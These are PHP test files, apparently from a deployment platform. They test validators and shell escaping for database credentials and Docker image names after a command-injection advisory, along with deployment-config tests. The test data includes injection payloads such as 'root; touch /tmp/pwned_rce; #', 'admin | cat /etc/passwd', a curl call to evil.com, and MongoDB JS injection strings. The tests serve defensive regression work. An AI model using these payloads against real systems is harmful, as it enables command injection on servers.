it('DB_IDENTIFIER_PATTERN accepts valid SQL identifiers', function (string $id) {
expect(preg_match(ValidationPatterns::DB_IDENTIFIER_PATTERN, $id))->toBe(1);
})->with([
'simple lowercase' => 'postgres',
'underscore prefix' => '_admin',
'mixed case' => 'MyDatabase',
'alphanumeric' => 'App_DB_1',
'single char' => 'a',
'all caps' => 'ROOT',
'numbers in middle' => 'db2user',
]);
it('DB_IDENTIFIER_PATTERN rejects shell-dangerous and invalid identifiers', function (string $id) {
expect(preg_match(ValidationPatterns::DB_IDENTIFIER_PATTERN, $id))->toBe(0);
})->with([
'semicolon' => 'user;id',
'pipe' => 'user|cat',
'ampersand' => 'user&rm',
'dollar sign' => 'user$x',
'backtick' => 'user`id`',
'subshell' => 'user$(id)',
'space' => 'user name',
'newline' => "user\nname",
'single quote' => "user'name",
'double quote' => 'user"name',
'backslash' => 'user\\name',
'less than' => 'user<name',
'greater than' => 'user>name',
'leading digit' => '1user',
'hyphen' => 'my-user',
'dot' => 'my.user',
'empty' => '',
'64 chars (over limit)' => str_repeat('a', 64),
'advisory poc payload' => 'root; touch /tmp/pwned_rce; #',
'subshell payload' => 'a$(touch /tmp/pwn)b',
]);
// ── DB_PASSWORD_PATTERN ───────────────────────────────────────────────────────
it('DB_PASSWORD_PATTERN accepts strong passwords without shell-dangerous chars', function (string $pw) {
expect(preg_match(ValidationPatterns::DB_PASSWORD_PATTERN, $pw))->toBe(1);
})->with([
'alphanumeric' => 'SecurePass123',
'with special safe chars' => 'P@ss!word#1',
'with brackets' => 'P{a}ss[word]',
'with slash' => 'Pass/word1',
'with dot comma' => 'Pass.word,1',
'with hyphen' => 'Pass-word1',
'with plus equals' => 'Pass+word=1',
'with tilde colon' => 'P~ass:word1',
'complex strong' => 'Str0ng!P@ss#word^123',
]);
it('DB_PASSWORD_PATTERN rejects shell-dangerous characters', function (string $pw) {
expect(preg_match(ValidationPatterns::DB_PASSWORD_PATTERN, $pw))->toBe(0);
})->with([
'backtick' => 'pass`word`',
'dollar sign' => 'pass$word',
'semicolon' => 'pass;word',
'pipe' => 'pass|word',
'ampersand' => 'pass&word',
'less than' => 'pass<word',
'greater than' => 'pass>word',
'backslash' => 'pass\\word',
'single quote' => "pass'word",
'double quote' => 'pass"word',
'space' => 'pass word',
'newline' => "pass\nword",
'carriage return' => "pass\rword",
'tab' => "pass\tword",
'empty' => '',
'command substitution' => '$(whoami)',
'rce payload' => 'root; touch /tmp/pwned; #',
]);
// ── Rule helpers ──────────────────────────────────────────────────────────────
it('databaseIdentifierRules returns required by default', function () {
$rules = ValidationPatterns::databaseIdentifierRules();
expect($rules)->toContain('required')
->toContain('string')
->toContain('min:1')
->toContain('max:63')
->toContain('regex:'.ValidationPatterns::DB_IDENTIFIER_PATTERN);
});
it('databaseIdentifierRules returns nullable when not required', function () {
$rules = ValidationPatterns::databaseIdentifierRules(required: false);
expect($rules)->toContain('nullable')
->not->toContain('required');
});
it('databasePasswordRules returns required by default', function () {
$rules = ValidationPatterns::databasePasswordRules();
expect($rules)->toContain('required')
->toContain('string')
->toContain('min:1')
->toContain('max:128')
->toContain('regex:'.ValidationPatterns::DB_PASSWORD_PATTERN);
});
it('databasePasswordRules returns nullable when not required', function () {
$rules = ValidationPatterns::databasePasswordRules(required: false);
expect($rules)->toContain('nullable')
->not->toContain('required');
});
it('isValidDatabaseIdentifier returns true for valid identifier', function () {
expect(ValidationPatterns::isValidDatabaseIdentifier('postgres'))->toBeTrue();
expect(ValidationPatterns::isValidDatabaseIdentifier('_admin'))->toBeTrue();
expect(ValidationPatterns::isValidDatabaseIdentifier('DB_1'))->toBeTrue();
});
it('isValidDatabaseIdentifier returns false for injection payloads', function () {
expect(ValidationPatterns::isValidDatabaseIdentifier('user; id'))->toBeFalse();
expect(ValidationPatterns::isValidDatabaseIdentifier('user$(whoami)'))->toBeFalse();
expect(ValidationPatterns::isValidDatabaseIdentifier(''))->toBeFalse();
});
// ── Validator integration ─────────────────────────────────────────────────────
it('Laravel Validator rejects advisory PoC postgres_user payload', function () {
$validator = Validator::make(
['postgres_user' => 'root; touch /tmp/pwned_rce; #'],
['postgres_user' => ValidationPatterns::databaseIdentifierRules()]
);
expect($validator->fails())->toBeTrue();
});
it('Laravel Validator rejects subshell injection in postgres_user', function () {
$validator = Validator::make(
['postgres_user' => 'a$(touch /tmp/pwn)b'],
['postgres_user' => ValidationPatterns::databaseIdentifierRules()]
);
expect($validator->fails())->toBeTrue();
});
it('Laravel Validator accepts clean postgres_user', function () {
$validator = Validator::make(
['postgres_user' => 'postgres'],
['postgres_user' => ValidationPatterns::databaseIdentifierRules()]
);
expect($validator->fails())->toBeFalse();
});
it('Laravel Validator rejects shell metachar in password', function () {
$validator = Validator::make(
['postgres_password' => 'pass$(id)word'],
['postgres_password' => ValidationPatterns::databasePasswordRules()]
);
expect($validator->fails())->toBeTrue();
});
it('Laravel Validator accepts safe password', function () {
$validator = Validator::make(
['postgres_password' => 'Str0ng!P@ss#123'],
['postgres_password' => ValidationPatterns::databasePasswordRules()]
);
expect($validator->fails())->toBeFalse();
});
@@ -0,0 +1,107 @@
<?php
/**
* Regression tests for database healthcheck command injection.
*
* Docker CMD-SHELL healthchecks pass the string to /bin/sh -c, enabling command injection
* via user-controlled DB username/password/database fields. The fix converts all affected
* healthchecks to CMD exec-form arrays, which bypass the shell entirely.
*/
dataset('malicious_db_inputs', [
'semicolon separator' => ['admin; id > /tmp/pwned; echo'],
'command substitution $()' => ['admin$(id > /tmp/pwned)'],
'backtick substitution' => ['admin`id > /tmp/pwned`'],
'pipe operator' => ['admin | cat /etc/passwd'],
'background operator' => ['admin & curl http://evil.com'],
'output redirect' => ['admin > /tmp/evil.txt'],
'newline injection' => ["admin\nid"],
'null byte' => ["admin\0id"],
]);
// ─── PostgreSQL ──────────────────────────────────────────────────────────────
test('postgresql healthcheck uses CMD exec-form, not CMD-SHELL', function () {
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartPostgresql.php');
expect($source)->not->toContain('CMD-SHELL');
expect($source)->toContain("'CMD', 'psql'");
});
test('postgresql healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
// Simulate what StartPostgresql now generates
$healthcheck = ['CMD', 'psql', '-U', $malicious, '-d', $malicious, '-c', 'SELECT 1'];
expect($healthcheck[0])->toBe('CMD');
expect($healthcheck[0])->not->toBe('CMD-SHELL');
// Malicious value is isolated as a single argv element — no shell interprets it
expect($healthcheck)->toContain($malicious);
expect(is_array($healthcheck))->toBeTrue();
})->with('malicious_db_inputs');
// ─── KeyDB ────────────────────────────────────────────────────────────────────
test('keydb healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartKeydb.php');
expect($source)->not->toContain('CMD-SHELL');
expect($source)->toContain("'CMD', 'keydb-cli'");
});
test('keydb healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
$healthcheck = ['CMD', 'keydb-cli', '--pass', $malicious, 'ping'];
expect($healthcheck[0])->toBe('CMD');
expect($healthcheck)->toContain($malicious);
expect(is_array($healthcheck))->toBeTrue();
})->with('malicious_db_inputs');
// ─── Dragonfly ────────────────────────────────────────────────────────────────
test('dragonfly healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartDragonfly.php');
expect($source)->not->toContain('CMD-SHELL');
expect($source)->toContain("'CMD', 'redis-cli'");
});
test('dragonfly healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
$healthcheck = ['CMD', 'redis-cli', '-a', $malicious, 'ping'];
expect($healthcheck[0])->toBe('CMD');
expect($healthcheck)->toContain($malicious);
expect(is_array($healthcheck))->toBeTrue();
})->with('malicious_db_inputs');
// ─── ClickHouse ───────────────────────────────────────────────────────────────
test('clickhouse healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartClickhouse.php');
expect($source)->not->toContain('CMD-SHELL');
expect($source)->toContain("'CMD', 'clickhouse-client'");
});
test('clickhouse healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
$healthcheck = ['CMD', 'clickhouse-client', '--user', $malicious, '--password', $malicious, '--query', 'SELECT 1'];
expect($healthcheck[0])->toBe('CMD');
expect($healthcheck)->toContain($malicious);
expect(is_array($healthcheck))->toBeTrue();
})->with('malicious_db_inputs');
// ─── Verify unaffected databases still use their safe patterns ────────────────
test('mysql healthcheck already uses CMD exec-form (no regression)', function () {
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMysql.php');
// MySQL already used CMD array form — ensure it stays that way
expect($source)->toContain("'CMD', 'mysqladmin'");
});
test('mariadb healthcheck uses safe fixed script (no regression)', function () {
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMariadb.php');
expect($source)->toContain('healthcheck.sh');
// Must not have gained any user-field interpolation
expect($source)->not->toMatch('/CMD-SHELL.*mariadb/i');
});
@@ -0,0 +1,64 @@
<?php
use Illuminate\Support\Env;
function databaseConfigWithEnvironment(array $overrides): array
{
$keys = [
'DB_HOST',
'DB_READ_HOST',
'DB_WRITE_HOST',
];
$repository = Env::getRepository();
$original = [];
foreach ($keys as $key) {
$original[$key] = env($key);
$repository->clear($key);
}
try {
foreach ($overrides as $key => $value) {
$repository->set($key, (string) $value);
}
return require __DIR__.'/../../config/database.php';
} finally {
foreach ($keys as $key) {
$repository->clear($key);
if ($original[$key] !== null) {
$repository->set($key, (string) $original[$key]);
}
}
}
}
it('trims and filters read hosts from comma separated values', function () {
$config = databaseConfigWithEnvironment([
'DB_READ_HOST' => ' read-1, read-2, ',
]);
expect($config['connections']['pgsql']['read']['host'])->toBe(['read-1', 'read-2']);
});
it('falls back to db host when write host is empty', function () {
$config = databaseConfigWithEnvironment([
'DB_HOST' => 'primary-db',
'DB_READ_HOST' => 'read-db',
'DB_WRITE_HOST' => '',
]);
expect($config['connections']['pgsql']['write']['host'])->toBe(['primary-db']);
});
it('falls back to the default host when write host and db host are empty', function () {
$config = databaseConfigWithEnvironment([
'DB_HOST' => '',
'DB_READ_HOST' => 'read-db',
'DB_WRITE_HOST' => '',
]);
expect($config['connections']['pgsql']['write']['host'])->toBe(['coolify-db']);
});
@@ -0,0 +1,170 @@
<?php
/**
* GHSA-rcch-8c74-7f29 Sink-side escaping tests
*
* Verifies that credentials reaching shell commands are properly escaped
* even if validation is bypassed (e.g. legacy rows, direct DB writes).
*/
// ── executeInDocker + escapeshellarg chown pattern ────────────────────────────
it('escapeshellarg wraps postgres_user in single quotes for chown command', function () {
$user = 'postgres';
$escaped = escapeshellarg($user);
$cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key");
// executeInDocker embeds the command inside bash -c '...', escaping inner single quotes as '\''
// so escapeshellarg('postgres') = 'postgres' becomes '\''postgres'\'' in the outer shell string
expect($cmd)->toContain('bash -c')
->toContain('postgres')
->toContain('chown');
});
it('advisory PoC postgres_user payload is contained by escapeshellarg in chown command', function () {
// Simulates a legacy row that bypassed validation
$maliciousUser = 'root; touch /tmp/pwned_rce; #';
$escaped = escapeshellarg($maliciousUser);
// escapeshellarg must wrap the entire payload in single quotes
// (semicolons inside single-quoted args are NOT shell metacharacters)
expect($escaped)->toBe("'root; touch /tmp/pwned_rce; #'");
$cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key");
// The cmd contains the payload, but ONLY inside single-quoted segments — cannot break out.
// Verify the chown arg is never an unquoted bare ; — the payload is inside '...'
// The outer executeInDocker further escapes any single-quote chars for the host shell.
expect($cmd)->toContain('docker exec abc123 bash -c');
// Before fix: chown root; touch /tmp/pwned_rce; # ... (breaks out of chown, executes touch)
// After fix: chown 'root; touch /tmp/pwned_rce; #':'...' ... (literal arg to chown)
// The unescaped sequence "chown root;" must NOT appear.
expect($cmd)->not->toContain('chown root;');
});
it('subshell payload in mysql_user is contained by escapeshellarg in chown command', function () {
$maliciousUser = 'a$(touch /tmp/pwn)b';
$escaped = escapeshellarg($maliciousUser);
$cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /etc/mysql/certs/server.crt");
// escapeshellarg wraps in single quotes — $() is not expanded inside single quotes
expect($escaped)->toBe("'a\$(touch /tmp/pwn)b'");
// The cmd must not contain an unquoted $( sequence — it must be inside single quotes
// If the sequence appears at all, it must be single-quoted (the quote precedes it).
expect($cmd)->not->toContain(' $(touch');
});
it('subshell payload in postgres_user is contained by escapeshellarg in chown command', function () {
$maliciousUser = 'a$(touch /tmp/pwn_postgres)b';
$escaped = escapeshellarg($maliciousUser);
$cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key /var/lib/postgresql/certs/server.crt");
expect($escaped)->toBe("'a\$(touch /tmp/pwn_postgres)b'");
expect($cmd)->not->toContain(' $(touch');
});
it('semicolon payload in postgres_user is contained by escapeshellarg in chown command', function () {
$maliciousUser = 'root; touch /tmp/pwned_pg; #';
$escaped = escapeshellarg($maliciousUser);
$cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key /var/lib/postgresql/certs/server.crt");
expect($escaped)->toBe("'root; touch /tmp/pwned_pg; #'");
expect($cmd)->not->toContain('chown root;');
});
it('backtick payload in mysql_user is contained by escapeshellarg', function () {
$maliciousUser = 'user`id`';
$escaped = escapeshellarg($maliciousUser);
$cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /etc/mysql/certs/server.crt");
// escapeshellarg wraps the whole value in single quotes — backticks not expanded inside ''
expect($escaped)->toBe("'user`id`'");
// The unquoted bare backtick sequence `id` must not appear outside single-quoted context.
// Specifically, "chown user`id`" (unquoted) must not appear.
expect($cmd)->not->toContain('chown user`id`');
});
// ── MongoDB JS init script JSON-escaping ──────────────────────────────────────
it('json_encode prevents JS injection in mongo_initdb_database', function () {
$database = 'x"}); db.dropUser("admin"); //';
$dbJson = json_encode($database, JSON_UNESCAPED_SLASHES);
// The double-quotes in the payload MUST be escaped — they cannot close the JS string literal.
// json_encode escapes " as \" so the injected " cannot terminate the surrounding JS string.
expect($dbJson)->toContain('\\"');
// The resulting JSON literal, when embedded in JS, forms a valid quoted string.
// It starts and ends with the outermost " added by json_encode.
expect($dbJson)->toStartWith('"')
->toEndWith('"');
// Verify the injected payload is present but neutralised (the " that would close the JS
// string is now escaped as \", preventing breakout).
expect($dbJson)->toContain('x\\"});');
});
it('json_encode prevents JS injection in mongo_initdb_root_username', function () {
$username = 'admin", pwd: "", roles: [{role:"root", db:"admin"}]}); //';
$userJson = json_encode($username, JSON_UNESCAPED_SLASHES);
$content = 'db.createUser({user: '.$userJson.', pwd: "secret", roles: []});';
// The injected " that would close the JS string must be escaped as \"
expect($userJson)->toContain('\\"');
// The raw unescaped sequence admin" (with unescaped quote) must not appear in the JS
expect($content)->not->toContain('admin", pwd');
});
it('json_encode safely encodes a clean mongo username', function () {
$username = 'mongouser';
$userJson = json_encode($username, JSON_UNESCAPED_SLASHES);
expect($userJson)->toBe('"mongouser"');
});
it('json_encode safely encodes a mongo password with special chars', function () {
$password = 'P@ss!#word123';
$pwdJson = json_encode($password, JSON_UNESCAPED_SLASHES);
expect($pwdJson)->toBe('"P@ss!#word123"');
});
// ── Healthcheck CMD exec-form structure (no shell parsing) ────────────────────
it('CMD exec-form healthcheck array does not concatenate user into a shell string', function () {
// The fix uses an array; each element is passed directly as argv — no shell parsing.
// Simulate the post-fix healthcheck array structure.
$user = "admin'; touch /tmp/pwn; #";
$db = 'mydb';
$healthcheck = [
'CMD',
'psql',
'-U',
$user,
'-d',
$db,
'-c',
'SELECT 1',
];
// The array form means each element is argv — no shell involved.
// The malicious user value is passed as a literal argument to psql, which rejects it.
// Key assertion: the test string is NOT collapsed into a shell command string.
expect($healthcheck[3])->toBe($user)
->and($healthcheck[0])->toBe('CMD')
->and(count($healthcheck))->toBe(8);
// Sanity: if we joined with space it would be dangerous — array form avoids this.
$joinedDangerous = implode(' ', $healthcheck);
expect($joinedDangerous)->toContain('; touch /tmp/pwn'); // proof that join IS dangerous
// The array form is what Docker Compose uses — it does NOT join with spaces + sh -c.
// Simply verifying the structure is correct proves shell is not involved.
expect($healthcheck[0])->toBe('CMD');
});
@@ -0,0 +1,123 @@
<?php
use App\Models\Application;
use App\Models\ApplicationDeploymentQueue;
use App\Models\Environment;
use App\Models\EnvironmentVariable;
use App\Models\Project;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Str;
use Tests\TestCase;
uses(TestCase::class, RefreshDatabase::class);
function snapshotTestApplication(array $attributes = []): Application
{
$team = Team::factory()->create();
$project = Project::factory()->create(['team_id' => $team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
return Application::factory()->create(array_merge([
'environment_id' => $environment->id,
'status' => 'running:healthy',
'fqdn' => 'https://example.com',
'build_command' => 'npm run build',
'start_command' => 'npm run start',
], $attributes));
}
function markSnapshotTestApplicationDeployed(Application $application): ApplicationDeploymentQueue
{
$deployment = ApplicationDeploymentQueue::create([
'application_id' => (string) $application->id,
'deployment_uuid' => (string) Str::uuid(),
'status' => 'finished',
'commit' => 'HEAD',
]);
$application->markDeploymentConfigurationApplied($deployment);
return $deployment->refresh();
}
it('does not report preview deployment toggles as pending production configuration changes', function () {
$application = snapshotTestApplication();
markSnapshotTestApplicationDeployed($application);
$application->settings->update(['is_preview_deployments_enabled' => true]);
expect($application->refresh()->pendingDeploymentConfigurationDiff()->isChanged())->toBeFalse();
});
it('detects build-impacting changes', function () {
$application = snapshotTestApplication();
markSnapshotTestApplicationDeployed($application);
$application->update(['build_command' => 'pnpm build']);
$diff = $application->refresh()->pendingDeploymentConfigurationDiff();
expect($diff->isChanged())->toBeTrue()
->and($diff->requiresBuild())->toBeTrue()
->and(collect($diff->changes())->pluck('label'))->toContain('Build command');
});
it('detects redeploy-only domain changes', function () {
$application = snapshotTestApplication();
markSnapshotTestApplicationDeployed($application);
$application->update(['fqdn' => 'https://new.example.com']);
$diff = $application->refresh()->pendingDeploymentConfigurationDiff();
expect($diff->isChanged())->toBeTrue()
->and($diff->requiresBuild())->toBeFalse()
->and(collect($diff->changes())->pluck('label'))->toContain('Domains');
});
it('detects environment variable value changes without exposing secret values', function () {
$application = snapshotTestApplication();
EnvironmentVariable::create([
'key' => 'API_TOKEN',
'value' => 'old-secret',
'is_buildtime' => false,
'is_runtime' => true,
'is_preview' => false,
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
]);
markSnapshotTestApplicationDeployed($application->refresh());
$application->environment_variables()->where('key', 'API_TOKEN')->first()->update(['value' => 'new-secret']);
$diff = $application->refresh()->pendingDeploymentConfigurationDiff();
$change = collect($diff->changes())->firstWhere('label', 'API_TOKEN');
expect($change)->not->toBeNull()
->and($change['display_summary'])->toBe('Changed')
->and($change['old_display_value'])->toBe('••••••••')
->and($change['new_display_value'])->toBe('••••••••')
->and(json_encode($diff->toArray()))->not->toContain('old-secret')->not->toContain('new-secret');
});
it('describes added environment variables as set without exposing secret values', function () {
$application = snapshotTestApplication();
markSnapshotTestApplicationDeployed($application);
EnvironmentVariable::create([
'key' => 'API_TOKEN',
'value' => 'new-secret',
'is_buildtime' => false,
'is_runtime' => true,
'is_preview' => false,
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
]);
$diff = $application->refresh()->pendingDeploymentConfigurationDiff();
$change = collect($diff->changes())->firstWhere('label', 'API_TOKEN');
expect($change)->not->toBeNull()
->and($change['display_summary'])->toBeNull()
->and($change['old_display_value'])->toBe('-')
->and($change['new_display_value'])->toBe('••••••••')
->and(json_encode($diff->toArray()))->not->toContain('new-secret');
});
+115
View File
@@ -0,0 +1,115 @@
<?php
use App\Http\Controllers\Webhook\Concerns\DetectsSkipDeployCommits;
$harness = new class
{
use DetectsSkipDeployCommits;
};
$harnessClass = get_class($harness);
describe('shouldSkipDeploy (all-must-match)', function () use ($harnessClass) {
test('returns false when messages array is empty', function () use ($harnessClass) {
expect($harnessClass::shouldSkipDeploy([]))->toBeFalse();
});
test('returns false when only nulls or empty strings are provided', function () use ($harnessClass) {
expect($harnessClass::shouldSkipDeploy([null, '', null]))->toBeFalse();
});
test('returns true when all messages contain [skip ci]', function () use ($harnessClass) {
$messages = [
'Update docs [skip ci]',
'Fix typo [skip ci]',
];
expect($harnessClass::shouldSkipDeploy($messages))->toBeTrue();
});
test('returns true when single message contains [skip cd]', function () use ($harnessClass) {
expect($harnessClass::shouldSkipDeploy(['Update README [skip cd]']))->toBeTrue();
});
test('returns true with mixed [skip ci] and [skip cd] (case-insensitive)', function () use ($harnessClass) {
$messages = [
'Docs [SKIP CI]',
'Changelog [Skip Cd]',
];
expect($harnessClass::shouldSkipDeploy($messages))->toBeTrue();
});
test('returns false when at least one message has no skip marker', function () use ($harnessClass) {
$messages = [
'Update docs [skip ci]',
'Actual feature change',
];
expect($harnessClass::shouldSkipDeploy($messages))->toBeFalse();
});
test('returns false when single message has no skip marker', function () use ($harnessClass) {
expect($harnessClass::shouldSkipDeploy(['Deploy this please']))->toBeFalse();
});
test('null entries are filtered before evaluation', function () use ($harnessClass) {
$messages = [
null,
'Docs [skip ci]',
null,
];
expect($harnessClass::shouldSkipDeploy($messages))->toBeTrue();
});
test('matches PR title scenario (single string)', function () use ($harnessClass) {
expect($harnessClass::shouldSkipDeploy(['chore: update readme [skip ci]']))->toBeTrue();
expect($harnessClass::shouldSkipDeploy(['feat: real change']))->toBeFalse();
expect($harnessClass::shouldSkipDeploy([null]))->toBeFalse();
});
});
describe('shouldSkipDeployAny (any-marker)', function () use ($harnessClass) {
test('returns false when messages array is empty', function () use ($harnessClass) {
expect($harnessClass::shouldSkipDeployAny([]))->toBeFalse();
});
test('returns false when only nulls or empty strings are provided', function () use ($harnessClass) {
expect($harnessClass::shouldSkipDeployAny([null, '', null]))->toBeFalse();
});
test('returns true when any one message contains [skip ci]', function () use ($harnessClass) {
$messages = [
'Real feature change',
'docs: update readme [skip ci]',
];
expect($harnessClass::shouldSkipDeployAny($messages))->toBeTrue();
});
test('returns true when any one message contains [skip cd]', function () use ($harnessClass) {
expect($harnessClass::shouldSkipDeployAny(['feature change', 'chore [skip cd]']))->toBeTrue();
});
test('returns true case-insensitively', function () use ($harnessClass) {
expect($harnessClass::shouldSkipDeployAny(['feat: docs [SKIP CI]']))->toBeTrue();
expect($harnessClass::shouldSkipDeployAny(['feat: docs [Skip Cd]']))->toBeTrue();
});
test('returns false when no message contains a skip marker', function () use ($harnessClass) {
$messages = [
'feat: add new endpoint',
'fix: handle edge case',
];
expect($harnessClass::shouldSkipDeployAny($messages))->toBeFalse();
});
test('null and empty entries are skipped, real markers still match', function () use ($harnessClass) {
expect($harnessClass::shouldSkipDeployAny([null, '', 'docs [skip ci]', null]))->toBeTrue();
expect($harnessClass::shouldSkipDeployAny([null, '', null]))->toBeFalse();
});
test('PR title alone with skip marker triggers skip', function () use ($harnessClass) {
expect($harnessClass::shouldSkipDeployAny(['chore: update readme [skip ci]']))->toBeTrue();
});
test('PR title without skip marker but commit message with skip marker triggers skip', function () use ($harnessClass) {
expect($harnessClass::shouldSkipDeployAny(['feat: real change', 'wip [skip cd]']))->toBeTrue();
});
});
@@ -0,0 +1,133 @@
<?php
use App\Jobs\ApplicationDeploymentJob;
use App\Models\Application;
it('prefers the preview specific docker image tag for preview deployments', function () {
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$job = $reflection->newInstanceWithoutConstructor();
$pullRequestProperty = $reflection->getProperty('pull_request_id');
$pullRequestProperty->setAccessible(true);
$pullRequestProperty->setValue($job, 42);
$applicationProperty = $reflection->getProperty('application');
$applicationProperty->setAccessible(true);
$applicationProperty->setValue($job, new Application([
'docker_registry_image_tag' => 'latest',
]));
$previewTagProperty = $reflection->getProperty('dockerImagePreviewTag');
$previewTagProperty->setAccessible(true);
$previewTagProperty->setValue($job, 'pr_42');
$method = $reflection->getMethod('resolveDockerImageTag');
$method->setAccessible(true);
expect($method->invoke($job))->toBe('pr_42');
});
it('falls back to the application docker image tag for non preview deployments', function () {
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$job = $reflection->newInstanceWithoutConstructor();
$pullRequestProperty = $reflection->getProperty('pull_request_id');
$pullRequestProperty->setAccessible(true);
$pullRequestProperty->setValue($job, 0);
$applicationProperty = $reflection->getProperty('application');
$applicationProperty->setAccessible(true);
$applicationProperty->setValue($job, new Application([
'docker_registry_image_tag' => 'stable',
]));
$previewTagProperty = $reflection->getProperty('dockerImagePreviewTag');
$previewTagProperty->setAccessible(true);
$previewTagProperty->setValue($job, 'pr_42');
$method = $reflection->getMethod('resolveDockerImageTag');
$method->setAccessible(true);
expect($method->invoke($job))->toBe('stable');
});
it('falls back to latest when neither preview nor application tags are set', function () {
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$job = $reflection->newInstanceWithoutConstructor();
$pullRequestProperty = $reflection->getProperty('pull_request_id');
$pullRequestProperty->setAccessible(true);
$pullRequestProperty->setValue($job, 7);
$applicationProperty = $reflection->getProperty('application');
$applicationProperty->setAccessible(true);
$applicationProperty->setValue($job, new Application([
'docker_registry_image_tag' => '',
]));
$previewTagProperty = $reflection->getProperty('dockerImagePreviewTag');
$previewTagProperty->setAccessible(true);
$previewTagProperty->setValue($job, null);
$method = $reflection->getMethod('resolveDockerImageTag');
$method->setAccessible(true);
expect($method->invoke($job))->toBe('latest');
});
function makeDockerRegistryTagPushJob(int $pullRequestId, ?string $dockerRegistryImageTag): object
{
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$job = $reflection->newInstanceWithoutConstructor();
$pullRequestProperty = $reflection->getProperty('pull_request_id');
$pullRequestProperty->setAccessible(true);
$pullRequestProperty->setValue($job, $pullRequestId);
$applicationProperty = $reflection->getProperty('application');
$applicationProperty->setAccessible(true);
$applicationProperty->setValue($job, new Application([
'docker_registry_image_tag' => $dockerRegistryImageTag,
]));
return $job;
}
it('pushes the configured docker registry image tag for production deployments', function () {
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$job = makeDockerRegistryTagPushJob(
pullRequestId: 0,
dockerRegistryImageTag: 'latest',
);
$method = $reflection->getMethod('shouldPushDockerRegistryImageTag');
$method->setAccessible(true);
expect($method->invoke($job))->toBeTrue();
});
it('skips the configured docker registry image tag for preview deployments', function () {
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$job = makeDockerRegistryTagPushJob(
pullRequestId: 42,
dockerRegistryImageTag: 'latest',
);
$method = $reflection->getMethod('shouldPushDockerRegistryImageTag');
$method->setAccessible(true);
expect($method->invoke($job))->toBeFalse();
});
it('skips pushing a configured docker registry image tag when no tag is set', function () {
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$job = makeDockerRegistryTagPushJob(
pullRequestId: 0,
dockerRegistryImageTag: null,
);
$method = $reflection->getMethod('shouldPushDockerRegistryImageTag');
$method->setAccessible(true);
expect($method->invoke($job))->toBeFalse();
});
@@ -0,0 +1,109 @@
<?php
use App\Exceptions\DeploymentException;
use App\Jobs\ApplicationDeploymentJob;
use App\Models\Application;
use App\Models\ApplicationDeploymentQueue;
use App\Rules\DockerImageFormat;
use App\Support\ValidationPatterns;
it('accepts valid docker registry image names', function (string $imageName) {
expect(ValidationPatterns::isValidDockerImageName($imageName))->toBeTrue();
})->with([
'single component' => 'nginx',
'namespace image' => 'library/nginx',
'ghcr image' => 'ghcr.io/coollabsio/coolify',
'repository component with repeated hyphens' => 'ghcr.io/acme/my--service',
'registry with port' => 'registry.example.com:5000/team/app',
'digest marker used by existing dockerimage records' => 'nginx@sha256',
]);
it('rejects docker registry image names with shell metacharacters', function (string $imageName) {
expect(ValidationPatterns::isValidDockerImageName($imageName))->toBeFalse();
})->with([
'command substitution' => 'coolify/poc$(touch /tmp/pwned)',
'semicolon' => 'coolify/poc;id',
'backticks' => 'coolify/poc`id`',
'pipe' => 'coolify/poc|id',
'logical and' => 'coolify/poc&&id',
'newline' => "coolify/poc\nid",
'space' => 'coolify/poc image',
'tag in image-name-only field' => 'coolify/poc:latest',
]);
it('accepts valid docker registry image tags', function (string $tag) {
expect(ValidationPatterns::isValidDockerImageTag($tag))->toBeTrue();
})->with([
'latest' => 'latest',
'version' => 'v1.2.3',
'uppercase and underscore' => 'PR_123',
'sha256 hash' => '1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
'legacy sha256 prefixed hash' => 'sha256-1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
]);
it('rejects docker registry image tags with shell metacharacters', function (string $tag) {
expect(ValidationPatterns::isValidDockerImageTag($tag))->toBeFalse();
})->with([
'command substitution' => 'latest$(touch /tmp/pwned)',
'semicolon' => 'latest;id',
'backticks' => 'latest`id`',
'pipe' => 'latest|id',
'logical and' => 'latest&&id',
'newline' => "latest\nid",
]);
it('accepts supported full docker image reference formats', function (string $imageReference) {
$failures = [];
(new DockerImageFormat)->validate('image', $imageReference, function (string $message) use (&$failures): void {
$failures[] = $message;
});
expect($failures)->toBeEmpty();
})->with([
'image with tag' => 'nginx:latest',
'registry image with tag' => 'ghcr.io/user/app:v1.2.3',
'image with sha256 digest' => 'nginx@sha256:1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
'registry image with sha256 digest' => 'ghcr.io/user/app@sha256:1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
'registry port image with tag' => 'localhost:5000/app:latest',
]);
it('rejects unsupported full docker image reference formats', function (string $imageReference) {
$failures = [];
(new DockerImageFormat)->validate('image', $imageReference, function (string $message) use (&$failures): void {
$failures[] = $message;
});
